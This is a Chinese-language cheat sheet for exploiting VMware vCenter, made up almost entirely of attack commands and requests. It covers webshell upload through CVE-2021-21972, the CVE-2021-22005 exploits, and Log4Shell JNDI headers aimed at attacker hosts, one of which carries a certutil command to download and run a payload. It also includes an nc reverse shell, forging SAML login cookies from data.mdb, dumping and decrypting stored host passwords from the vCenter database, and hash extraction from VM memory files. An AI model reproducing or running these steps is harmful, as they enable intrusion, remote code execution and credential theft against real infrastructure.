Vcenter利用方式总结

title="+ ID_VC_Welcome +"

/sdk/vimServiceVersions.xml

/ui/vropspluginui/rest/services/uploadova

python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp

-t （目标地址）
-f （上传的文件）
-p （上传后的webshell路径，默认不用改）

https://x.x.x.x/statsreport/gsl.jsp

C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport

python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub

cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell

python cve-2021-22005.py -t https://x.x.x.x

https://x.x.x.x/idm/..;/test.jsp

/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPSIP
X-Forwarded-For: ${jndi:ldap://VPSIP:1389/TomcatBypass/TomcatEcho}
cmd:

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.142
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
cmd: certutil -urlcache -split -f http://VPS C:\Users\Public\1.exe && C:\Users\Public\1.exe
X-Forwarded-For: ${jndi:ldap://VPS:1389/TomcatBypass/TomcatEcho}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

nc -e /bin/sh 10.10.10.10 8888
nc -lvp 8888

python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

#Linux 
/usr/lib/vmware-vmdir/bin/vdcadmintool 

#Windows 
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe

python vcenter_saml_login.py -p data.mdb -t 10.9.16.11 

#Linux
/storage/db/vmware-vmdir/data.mdb

#windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap1
pip install python_ldap-3.4.0-cp38-cp38-win_amd64.whl
pip install -r requirements.txt

python vCenter_ExtraCertFromMdb.py data.mdb

python vCenter_GenerateLoginCookie.py 192.168.121.135 192.168.121.135 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt

#Linux
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost

#windows
C:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli get-domain-name --server-name localhost
C:\PROGRA~1\VMware\"vCenter Server"\vmafdd\vmafd-cli get-domain-name --server-name localhost

#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

#Linux
cat /etc/vmware-vpx/ssl/symkey.dat

#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties

#Windows
type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

#psql默认存放位置
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql

#执行语句查询
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

#执行完会输出一段加密字段
Command> shell psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
Shell access is granted to root
Password for user vc: 
ip_address  | user_name |                                         password                                      
-------------+-----------+---------------------------------------------------------------------------------------
192.168.1.1 | vpxuser   | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
192.168.1.2 | vpxuser   | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
192.168.1.3 | vpxuser   | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
192.168.1.4 | vpxuser   | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
(4 rows)

#只保留password字段
*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==

python decrypt.py symkey.dat password.enc password.txt

find / -name "*.vmem"

volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo

volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist

volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00084c010